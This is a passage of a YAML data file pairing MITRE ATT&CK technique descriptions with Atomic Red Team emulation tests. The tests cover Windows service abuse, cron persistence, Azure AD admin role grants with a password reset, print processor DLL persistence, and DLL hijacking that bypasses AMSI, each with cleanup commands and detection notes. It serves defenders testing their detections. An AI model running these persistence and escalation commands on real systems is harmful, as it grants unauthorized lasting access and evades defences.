'if (Test-Path "#{binary_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{binary_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}" executor: name: command_prompt elevation_required: true command: | sc.exe \\#{remote_host} create #{service_name} binPath= "#{binary_path}" start=#{startup_type} type=#{service_type} sc.exe \\#{remote_host} start #{service_name} cleanup_command: | sc.exe \\#{remote_host} stop #{service_name} >nul 2>&1 sc.exe \\#{remote_host} delete #{service_name} >nul 2>&1 - name: Modify Service to Run Arbitrary Binary (Powershell) auto_generated_guid: 1f896ce4-8070-4959-8a25-2658856a70c9 description: "This test will use PowerShell to temporarily modify a service to run an arbitrary executable by changing its binary path and will then revert the binary path change, restoring the service to its original state.\nThis technique was previously observed through SnapMC's use of Powerspolit's invoke-serviceabuse function. \n[Reference](https://blog.fox-it.com/2021/10/11/snapmc-skips-ransomware-steals-data/)\n" supported_platforms: - windows input_arguments: service_name: description: Name of the service to modify type: string default: fax new_bin_path: description: Path of the new service binary type: String default: "$env:windir\\system32\\notepad.exe" original_bin_path: description: Path of the original service binary type: String default: "$env:windir\\system32\\fxssvc.exe" executor: command: |- Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name "#{service_name}" -path "#{new_bin_path}" start-service -Name "#{service_name}" -erroraction silentlycontinue | out-null cleanup_command: |- Stop-Service -Name "#{service_name}" -force -erroraction silentlycontinue | Out-Null set-servicebinarypath -name "#{service_name}" -path "#{original_bin_path}" -erroraction silentlycontinue | out-null name: powershell elevation_required: true T1053.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c type: attack-pattern created: '2019-12-03T14:25:00.538Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1053.003 url: https://attack.mitre.org/techniques/T1053/003 - source_name: 20 macOS Common Tools and Techniques url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. modified: '2022-05-11T14:00:00.188Z' name: 'Scheduled Task/Job: Cron' description: "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: execution - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. " x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Modification' - 'Process: Process Creation' - 'Scheduled Job: Scheduled Job Creation' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1053.003 atomic_tests: - name: Cron - Replace crontab with referenced file auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75 description: 'This test replaces the current user''s crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks. ' supported_platforms: - linux - macos input_arguments: command: description: Command to execute type: string default: "/tmp/evil.sh" tmp_cron: description: Temporary reference file to hold evil cron schedule type: path default: "/tmp/persistevil" executor: name: sh command: | crontab -l > /tmp/notevil echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron} cleanup_command: 'crontab /tmp/notevil ' - name: Cron - Add script to all cron subfolders auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0 description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - macos - linux input_arguments: command: description: Command to execute type: string default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log cron_script_name: description: Name of file to store in cron folder type: string default: persistevil executor: elevation_required: true name: bash command: | echo "#{command}" > /etc/cron.daily/#{cron_script_name} echo "#{command}" > /etc/cron.hourly/#{cron_script_name} echo "#{command}" > /etc/cron.monthly/#{cron_script_name} echo "#{command}" > /etc/cron.weekly/#{cron_script_name} cleanup_command: | rm /etc/cron.daily/#{cron_script_name} -f rm /etc/cron.hourly/#{cron_script_name} -f rm /etc/cron.monthly/#{cron_script_name} -f rm /etc/cron.weekly/#{cron_script_name} -f - name: Cron - Add script to /etc/cron.d folder auto_generated_guid: '078e69eb-d9fb-450e-b9d0-2e118217c846' description: 'This test adds a script to /etc/cron.d folder configured to execute on a schedule. ' supported_platforms: - linux input_arguments: command: description: Command to execute type: string default: echo '*/5 * * * * root echo "Hello from Atomic Red Team"' > /tmp/atomic.log cron_script_name: description: Name of file to store in cron folder type: string default: persistevil executor: elevation_required: true name: sh command: 'echo "#{command}" > /etc/cron.d/#{cron_script_name} ' cleanup_command: 'rm /etc/cron.d/#{cron_script_name} -f ' - name: Cron - Add script to /var/spool/cron/crontabs/ folder auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4 description: 'This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers. ' supported_platforms: - linux input_arguments: command: description: Command to execute type: string default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log cron_script_name: description: Name of file to store in /var/spool/cron/crontabs folder type: string default: persistevil executor: elevation_required: true name: bash command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name} ' cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name} -f ' T1098.003: technique: modified: '2024-03-29T18:29:06.873Z' name: 'Account Manipulation: Additional Cloud Roles' description: "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Microsoft Threat Intelligence Center (MSTIC) - Alex Parsons, Crowdstrike - Chris Romano, Crowdstrike - Wojciech Lesicki - Pià Consigny, Tenable - Clément Notin, Tenable - Praetorian - Alex Soler, AttackIQ - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: 'Collect activity logs from IAM services and cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - IaaS - SaaS - Google Workspace - Azure AD x_mitre_version: '2.4' x_mitre_data_sources: - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3 created: '2020-01-19T16:59:45.362Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/003 external_id: T1098.003 - source_name: Expel AWS Attacker description: " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022." url: https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/ - source_name: Microsoft O365 Admin Roles description: Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019. url: https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide - source_name: AWS IAM Policies and Permissions description: AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022. url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html - source_name: Google Cloud IAM Policies description: Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022. url: https://cloud.google.com/iam/docs/policies - source_name: Invictus IR DangerDev 2024 description: Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024. url: https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me - source_name: Microsoft Support O365 Add Another Admin, October 2019 description: Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. url: https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d - source_name: Rhino Security Labs AWS Privilege Escalation description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.003 atomic_tests: - name: Azure AD - Add Company Administrator Role to a user auto_generated_guid: 4d77f913-56f5-4a14-b4b1-bf7bb24298ad description: 'Add an existing Azure user account the Company Administrator Role. ' supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd target_user: description: Name of the user who will be assigned the Company Admin role type: string default: default dependency_executor_name: powershell dependencies: - description: 'MSOnline module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name MSOnline -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name MSOnline -Force ' executor: command: | Import-Module MSOnline $Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password Connect-MsolService -Credential $Credential Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}" cleanup_command: 'Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}" ' name: powershell elevation_required: false - name: Simulate - Post BEC persistence via user password reset followed by user added to company administrator role auto_generated_guid: 14f3af20-61f1-45b8-ad31-4637815f3f44 description: | This test looks at simulating the an adversary described in the following blog post. It involves resetting the password of a normal user and adding to the company administrator role within M365. Reference: https://www.huntress.com/blog/business-email-compromise-via-azure-administrative-privileges supported_platforms: - azure-ad input_arguments: auth_username: description: Azure AD username used to conduct the adversary activity type: string default: jonh@contoso.com auth_password: description: Azure AD password for user auth_username type: string default: p4sswd target_user: description: Name of the user whose password be reset and added to the admin role. type: string default: default target_password: description: The password that the user target_user will be reset to. type: string default: Ohn05GeMe#$ dependency_executor_name: powershell dependencies: - description: 'MSOnline and AzureAD modules must be installed. ' prereq_command: | $required_mods = 'AzureAD', 'MSOnline' $installed_mods = @((Get-Module $required_mods -ListAvailable -ErrorAction SilentlyContinue).Name | Select-Object -Unique) $notInstalled = Compare-Object $required_mods $installed_mods -PassThru -ErrorAction SilentlyContinue if ($notInstalled) { # Prompt for installing the missing ones. Write-Output "The following PS modules aren't currently installed:" $notInstalled exit 1 } else{ Write-Output "All required PS modules are installed" exit 0 } get_prereq_command: | Install-Module -Name MSOnline -Scope CurrentUser -Force Install-Module -Name AzureAD -Scope CurrentUser -Force executor: command: | Import-Module MSOnline Import-Module AzureAD $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password $targetsecurepw = ConvertTo-SecureString -String "#{target_password}" -AsPlainText -Force Connect-MsolService -Credential $credential -ErrorAction:SilentlyContinue Connect-AzureAD -Credential $credential -ErrorAction:SilentlyContinue #Saving the ObjectId of the target_user into a variable $target_objid = Get-AzureADUser -filter "userPrincipalName eq '#{target_user}'" | Select-Object -ExpandProperty ObjectId #Reset the password of the target_user Set-AzureADUserPassword -ObjectId $target_objid -Password $targetsecurepw -ErrorAction:SilentlyContinue #Adding target_user Add-MsolRoleMember -RoleName "Company Administrator" -RoleMemberEmailAddress "#{target_user}" Add-MsolRoleMember -RoleName "Global Reader" -RoleMemberEmailAddress "#{target_user}" cleanup_command: | Import-Module MSOnline $password = ConvertTo-SecureString -String "#{auth_password}" -AsPlainText -Force $credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{auth_username}", $password Connect-MsolService -Credential $credential Remove-MsolRoleMember -RoleName "Company Administrator" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}" Remove-MsolRoleMember -RoleName "Global Reader" -RoleMemberType User -RoleMemberEmailAddress "#{target_user}" name: powershell elevation_required: false T1547.012: technique: modified: '2023-10-04T14:16:17.655Z' name: 'Boot or Logon Autostart Execution: Print Processors' description: |- Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors) Adversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver Registry key that points to the DLL. For the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Mathieu Tartare, ESET - Tahseen Bin Taj x_mitre_deprecated: false x_mitre_detection: |- Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\SYSTEM\ControlSet001\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\\Driver or HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\\[Windows architecture]\Print Processors\\[user defined]\Driver as they pertain to print processor installations. Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'File: File Creation' - 'Driver: Driver Load' - 'Module: Module Load' - 'Process: OS API Execution' x_mitre_permissions_required: - Administrator - SYSTEM type: attack-pattern id: attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad created: '2020-10-05T13:24:49.780Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1547/012 external_id: T1547.012 - source_name: Microsoft AddPrintProcessor May 2018 description: Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020. url: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor - source_name: Microsoft Intro Print Processors description: Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023. url: https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors - source_name: ESET PipeMon May 2020 description: Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020. url: https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1547.012 atomic_tests: - name: Print Processors auto_generated_guid: f7d38f47-c61b-47cc-a59d-fc0368f47ed0 description: | Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors. The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful. Note: The test assumes a x64 Windows operating system. The payload source code is based on a blog post by stmxcsr: [https://stmxcsr.com/persistence/print-processor.html](https://stmxcsr.com/persistence/print-processor.html) supported_platforms: - windows input_arguments: restart: description: set to 1 if you want the computer to reboot as part of the test type: integer default: 0 executor: command: | if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic} net stop spooler Copy-Item "$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f net start spooler if(#{restart}){ Restart-Computer } cleanup_command: | net stop spooler rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue remove-item "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" -Force -ErrorAction SilentlyContinue net start spooler name: powershell elevation_required: true T1574.001: technique: modified: '2024-04-18T22:54:54.668Z' name: 'Hijack Execution Flow: DLL Search Order Hijacking' description: |- Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637) Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module. Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Travis Smith, Tripwire - Stefan Kanthak - Marina Liang - Will Alexander - Ami Holeston x_mitre_deprecated: false x_mitre_detection: Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'File: File Modification' - 'Module: Module Load' - 'File: File Creation' type: attack-pattern id: attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34 created: '2020-03-13T18:11:08.357Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/001 external_id: T1574.001 - source_name: Adversaries Hijack DLLs description: CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved October 19, 2023. url: https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/ - source_name: FireEye Hijacking July 2010 description: Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020. url: https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html - source_name: FireEye fxsst June 2011 description: Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020. url: https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html - source_name: Microsoft Security Advisory 2269637 description: Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637 - source_name: Microsoft Dynamic-Link Library Redirection description: Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020. url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN - source_name: Microsoft Dynamic Link Library Search Order description: Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014. url: https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN - source_name: Microsoft Manifests description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. url: https://msdn.microsoft.com/en-US/library/aa375365 - source_name: FireEye DLL Search Order Hijacking description: Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020. url: https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html - source_name: OWASP Binary Planting description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016. url: https://www.owasp.org/index.php/Binary_planting object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1574.001 atomic_tests: - name: DLL Search Order Hijacking - amsi.dll auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3 description: | Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface) https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path. supported_platforms: - windows executor: command: | copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll %APPDATA%\updater.exe -Command exit cleanup_command: | del %APPDATA%\updater.exe >nul 2>&1 del %APPDATA%\amsi.dll >nul 2>&1 name: command_prompt elevation_required: true - name: Phantom Dll Hijacking - WinAppXRT.dll auto_generated_guid: 46ed938b-c617-429a-88dc-d49b5c9ffedb description: ".NET components (a couple of DLLs loaded anytime .NET apps are executed) when they are loaded they look for an environment variable called APPX_PROCESS\nSetting the environmental variable and dropping the phantom WinAppXRT.dll in e.g. c:\\windows\\system32 (or any other location accessible via PATH) will ensure the \nWinAppXRT.dll is loaded everytime user launches an application using .NET.\n\nUpon successful execution, amsi.dll will be copied and renamed to WinAppXRT.dll and then WinAppXRT.dll will be copied to system32 folder for loading during execution of any .NET application.\n" supported_platforms: - windows executor: command: | copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll ren %APPDATA%\amsi.dll WinAppXRT.dll copy %APPDATA%\WinAppXRT.dll %windir%\System32\WinAppXRT.dll reg add "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /t REG_EXPAND_SZ /d "1" /f cleanup_command: | reg delete "HKEY_CURRENT_USER\Environment" /v APPX_PROCESS /f del %windir%\System32\WinAppXRT.dll del %APPDATA%\WinAppXRT.dll name: command_prompt elevation_required: true T1574.014: technique: modified: '2024-04-18T15:03:32.158Z' name: AppDomainManager description: "Adversaries may execute their own malicious payloads by hijacking how the .NET `AppDomainManager` loads assemblies. The .NET framework uses the `AppDomainManager` class to create and manage one or more isolated runtime environments (called application domains) inside a process to host the execution of .NET applications. Assemblies (`.exe` or `.dll` binaries compiled to run as .NET code) may be loaded into an application domain as executable code.(Citation: Microsoft App Domains) \n\nKnown as \"AppDomainManager injection,\" adversaries may execute arbitrary code by hijacking how .NET applications load assemblies. For example, malware may create a custom application domain inside a target process to load and execute an arbitrary assembly. Alternatively, configuration files (`.config`) or process environment variables that define .NET runtime settings may be tampered with to instruct otherwise benign .NET applications to load a malicious assembly (identified by name) into the target process.(Citation: PenTestLabs AppDomainManagerInject)(Citation: PwC Yellow Liderc)(Citation: Rapid7 AppDomain Manager Injection)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Thomas B - Ivy Bostock x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Module: Module Load' - 'File: File Creation' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--356662f7-e315-4759-86c9-6214e2a50ff8 created: '2024-03-28T15:36:34.141Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1574/014 external_id: T1574.014 - source_name: PenTestLabs AppDomainManagerInject description: Administrator. (2020, May 26). APPDOMAINMANAGER INJECTION AND DETECTION. Retrieved March 28, 2024. url: https://pentestlaboratories.com/2020/05/26/appdomainmanager-injection-and-detection/ - source_name: Microsoft App Domains description: Microsoft. (2021, September 15). Application domains. Retrieved March 28, 2024. url: https://learn.microsoft.com/dotnet/framework/app-domains/application-domains - source_name: PwC Yellow Liderc description: PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024. url: https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html - source_name: Rapid7 AppDomain Manager Injection description: 'Spagnola, N. (2023, May 5). AppDomain Manager Injection: New Techniques For Red Teams. Retrieved March 29, 2024.' url: https://www.rapid7.com/blog/post/2023/05/05/appdomain-manager-injection-new-techniques-for-red-teams/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1098.006: technique: modified: '2023-10-16T17:51:35.865Z' name: Additional Container Cluster Roles description: "An adversary may add additional roles or permissions to an adversary-controlled user or service account to maintain persistent access to a container orchestration system. For example, an adversary with sufficient permissions may create a RoleBinding or a ClusterRoleBinding to bind a Role or ClusterRole to a Kubernetes account.(Citation: Kubernetes RBAC)(Citation: Aquasec Kubernetes Attack 2023) Where attribute-based access control (ABAC) is in use, an adversary with sufficient permissions may modify a Kubernetes ABAC policy to give the target account additional permissions.(Citation: Kuberentes ABAC)\n \nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. \n\nNote that where container orchestration systems are deployed in cloud environments, as with Google Kubernetes Engine, Amazon Elastic Kubernetes Service, and Azure Kubernetes Service, cloud-based role-based access control (RBAC) assignments or ABAC policies can often be used in place of or in addition to local permission assignments.(Citation: Google Cloud Kubernetes IAM)(Citation: 